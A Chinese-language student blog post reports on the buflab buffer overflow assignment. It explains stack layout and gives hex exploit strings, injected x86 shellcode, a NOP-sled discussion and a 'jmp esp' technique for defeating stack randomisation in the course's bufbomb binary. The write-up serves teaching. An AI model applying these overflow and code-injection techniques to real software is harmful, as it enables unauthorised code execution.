11月22, 2017

缓冲区溢出攻击实验报告

计组buflab作业的实验报告,按照助教的要求,尽量写的有趣了一点

Buflab实验报告

前言

本实验报告为了满足助教所说的让助教看着开心这个要求,所以我不准备写的非常学究气。并且本实验报告的另外一个目标是让看了这个报告的人都能理解缓冲区溢出攻击的基本原理。 祝阅读开心。

开篇(Level-1)

Level0属于开胃小菜,是对缓冲区溢出攻击的最简单的一个应用。我们需要对getbuf执行后栈上空间的样子有一个了解:(亲手画图诚意满满) 进入getbuf后栈上空间的状态 Data存的是getbuf的数据段,返回地址里存的是一个4字节的地址,当getbuf执行结束后,程序会跳转到这里存放的地址处继续执行代码。当然,不会有任何的检查,我们甚至把代码写在栈上,让程序跳转到栈上之后执行代码,这也是后面我们要用到的trick。ebp部分里存储的是进入getbuf之前基址寄存器ebp中的地址,用于在程序执行结束后,恢复ebp的值,继续正常执行外层的代码。 我们在getbuf中读取的字符串会从Buf的起始地址开始逐渐往高地址填充,这里Buf的大小是32字节,但是如果我们输入了一个大于32字节的字符串,就会发生一件奇妙的事情:程序会继续向高地址空间写入数据。如果我们写入了40个字节的数据,那么图中其他空间里的数据就会被覆盖掉,再写4个自己,ebp部分存储的地址也完蛋了,最后,如果我们把返回地址也给覆盖掉了,那这里getbuf执行完成后,程序就会跳转到这里存放的新的地址。

正篇(Level0)

背景知识介绍结束,回到题目上,题目需要我们让getbuf结束后跳转到smoke函数里,那么我们第一件事要做什么呢,我们要找出smoke这段程序在哪,怎么找呢?——反编译

objdump -D bufbomb > bufbomb.txt

执行完之后,整个bufbomb在我们的面前就算是一览无余了。我们可以看一下getbuf和smoke段的内容:

getbuf

getbuf代码

smoke

smoke代码 最左边的就是这句代码在地址空间中的位置,我们想让代码跳转到smoke,我们只要让getbuf结束后,返回到smoke的开头就可以了,也就是将刚才栈空间图中的返回地址的部分修改成我们需要的新地址0x08048b04。那么,我们只要输入一个长达48字节的字符串,并且最后四个字节描述这个地址,就能达到我们的目的了,于是我们就得到了这样的攻击“代码”

30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33                     /*44个毫无意义的数字*/
04 8b 04 08                     /*地址0x08048b04,注意栈的高低地址方向*/

亮手(Level1)

刚才只是返回到了一个新的地方,那么既然是一种攻击,我们最好能做点什么,比如修改个变量啥的,这里我们先不考虑自己构造代码,既然程序段里有现成的可执行代码,那么我们当然就不客气的利用一下啦。我们先看看需要执行的fizz里有哪些内容: fizz 从内容上看,我们最终的目的是要执行0x08048b4f处的代码,那就要求在0x08048b3e处不发生跳转,而这里不发生跳转的条件是eax和edx里面的内容相同。eax里面的内容是0x0804e104里存放的内容,我们看看这里存的是什么: 0x0804e104 不难猜到这里的内容就是全局变量cookie,也就是eax里的值,那么我们只要让edx里面存放相同的值就好。而我们看到,在0x08048b2f和0x08048b34这两处,程序先把esp的值赋给了ebp,然后从ebp向高地址数了8个字节后把里面的内容赋给了edx。这里就是我们的突破口。那esp到底指的是哪个位置呢?我们依然使用之前的伎俩,让程序跳转到fizz里(注意,不一定是0x08048b2e哦),然后这个时候esp其实就停在了返回地址的高地址端,也就是之后的ebp也会指到这里,所以我们只需要在刚才的那条代码后面,再多写几位,把edx需要等于的值写在之后ebp+8会指向的位置就行了:

30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33                     /*44位无意义的数字*/
2f 8b 04 08                     /*fizz程序段中的0x08048b2f位置*/
30 31 32 33 
30 31 32 33 
61 18 1e 63                     /*esp+8的位置应该存放的我的cookie*/

这里注意,我们跳转到的位置并不是fizz的开头。如果跳转到开头,那我们就要考虑到push语句会将esp-4,那么我们的攻击代码就应该写成这样:

30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33                     /*44位无意义的数字*/
2e 8b 04 08                     /*fizz程序段中的0x08048b2e位置*/
30 31 32 33 
61 18 1e 63                     /*esp+8的位置应该存放的我的cookie*/

起势(Level2)

刚才的代码里,我们借助了程序原本就有的代码,那么一个真正的黑客应该是“有技术就是可以为所欲为”的,我们得能运行我们自己写的代码才能出去简单地吹个牛逼。那么我们自己写的代码应该放在哪,又该怎么执行呢?还记得背景知识里我们说的吗?我们完全可以把代码就放在栈上,然后跳转到代码的起始地址去执行啊。那么怎么把代码放在栈上呢?还记得那44个无意义的数字么,现在他们可以有意义了,由于前四题里,没有使用栈随机化技术,buf的起始地址始终固定,那我只要在buf里写入我们的代码,然后再跳转到buf的起始地址就好了,反正指令寄存器只管取指令,也不关心这指令是从哪来的。我们先写出我们的代码:

mov $0x631e1861, %eax
mov %eax, 0x804e10c
ret

然后使用gcc和objdump将其编译成机器码: 机器码 最后,构建hack code!:

b8 61 18 1e 63 a3 0c e1 04 08 c3     /*入侵代码*/
30 31 32 33 34 35 36 37 38 39        
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 
30 31 32 33                          /*无意义的数字们*/
48 30 68 55                          /*跳转地址1*/ 
82 8b 04 08                          /*跳转地址2*/

这里为什么会有两个跳转地址呢?因为我们的代码执行结束成功设置了全局变量之后,还要能进入firecracker里,这就需要跳转两次。第一次代码执行过程中esp的值并没有被修改,所以我们只需要在第一次跳转的地址后面紧跟第二个需要跳转的地址,那么指令寄存器再收到一个ret的时候,就会跳到esp在栈上指向的区域中存储的这个地址里,也就是firecracker里。

生威(Level3)

现在,我们已经成功的通过一个输入就入侵并执行了我们的代码,但是这对于一个优雅的黑客来说是不够的,所谓功成身退,我们得悄咪咪地搞事,也得悄咪咪地离开,我们得让程序毫无察觉,那么,我们就要恢复原先栈上的状态,具体来说,除了跳回test函数里,我们还得把ebp设置成正确的值。那么问题来了,ebp要恢复成多少呢?我们想想原来ebp存在哪里?栈里,那栈呢?不好意思,我们自己在溢出攻击的时候覆盖掉了…… 真叫人头大 但是要记住,我们栈上的地址在没有引入随机化之前是固定的,所以我们只需要用gdb调试,在进入getbuf前打断点并查看当时ebp寄存器中的值,我们就知道我们要存什么东西了。这里太过于无聊我就不分步骤截图了,直接上代码: 代码内容:

mov $0x631e1861, %eax
mov $0x556830a0, %ebp
ret

b8 61 18 1e 63 bd a0 30 68 55 c3    /*入侵代码*/ 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 39 
30 31 32 33 34 35 36 37 38 
30 31 32 33                         /*无意义的数字们*/
48 30 68 55                         /*跳转地址1*/
f3 8b 04 08                         /*跳转地址2*/

得手(Level4)

其实到Level3结束的时候,我们已经完成了一次比较漂亮的缓冲区溢出攻击了。但是这个世界上有搞事的人就有反搞事的人。前四题里,我们栈上的地址始终是固定的(其实第五题某种意义上来说也是……装作不知道),但是如果我们栈上各部分的地址不固定呢?比如我们的buf的起始地址可能会在原来的基础上有正负240的浮动,那么这会带来什么影响呢?我们来看张图: 三次攻击浮动 我们执行了getbufn三次,其中buf开头的地址每次都不一样,图中酒红色的部分是我们的入侵代码。我们会发现,如果我们第一次执行了程序,并且将此时的buf的开头地址存下来作为我们的跳转地址,那么第二次攻击时,程序会跳转到栈上我们的入侵代码后面的部分,而第三次则跳转到了它前面,无论哪种情况下,我们都不能在第二和第三次攻击时正确的执行我们的代码,那么我们怎么办呢?我们再看一张图: 雪橇 我们把实际的攻击代码往后放,然后在那前面插入一大堆的空指令nop,指令寄存器接受到这样的指令后只会将指令计数器+1而不会做任何实质性的事情。然后,我们第一次获取了地址后,把这个地址向高地址方向加上一个合理的数字,这样在第二次第三次的时候,跳转到的地址(橙色的线条)会落到绿色的空指令区域,然后一直执行空指令直到到达实际的入侵代码(酒红色区域)。这种方法我们称之为雪橇。 但是,这样的方法要考虑两个问题:

  1. 第一次选择的基准地址是否合理
  2. 加上的数字是否合理

这里直接给出结论:

  1. 第一次选择的基准地址应该是尽可能的低的,最好是480个可能地址中最小的那个
  2. 加上的数字应该至少是480 我们只要考虑这样的两张图即可: 情况一 我们不能让橘色的线代表的跳转地址高于某次随机后入侵代码的起始地址 情况二 我们不能让橘色的线代表的跳转地址低于某次随机后入侵代码的起始地址

但是!!

我并不是这么写的。 我们回想一下栈图(直接放在下面就不劳烦大家往上翻了) 进入getbuf后栈上空间的状态 我们把代码写进了buf段,然后我们为了执行这些代码我们需要找到代码开始的地址,而我们最大的麻烦是,我们不知道随机化之后我们的开始地址在哪,那么我们有没有办法绕开这个麻烦呢?问题的关键就在于,有没有这么一个地方,它的地址是确定的,或者是可以用某个符号直接访问到的。唔……

ESP!

是的,跳转之后,esp一定指向返回地址的地方,那么我们如果在原先data域里写上代码,只要我们能跳到那里,我们就能执行我们的代码了!那么这个时候,我们就只需要能执行一下jmp esp这个语句,我们就能执行esp指向的地址后面的代码了。那么怎么执行jmp esp呢?还记得我们在level1里面干的事情吗?我们利用了原有的代码,所以我们只要再用相同的思想,去找原先的代码里,有没有jmp esp这个代码,然后在第一次跳转的时候跳转到这里,那么紧随其后程序就会执行jmp esp并且跳转到data域上的代码。最后,我们在代码里push进我们最后想跳转到的位置并ret,就可以执行跳转。

光是文字不够直观,上图: 攻击原理图

那么这样的代码有没有呢…… jmp esp

完美。 滑稽

最终的攻击代码:

lea 0x28(%esp), %ebp
mov $0x631e1861, %eax
push $0x08048c67
ret

22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
/*520个无意义的数字*/
67 ae 04 08 8d 6c 24 28 b8 61 18 1e 63 68 67 8c 04 08 c3 
/*实际的攻击代码*/

本文链接:https://blog.magichc7.com/post/buflabans.html

-- EOF --

相关评论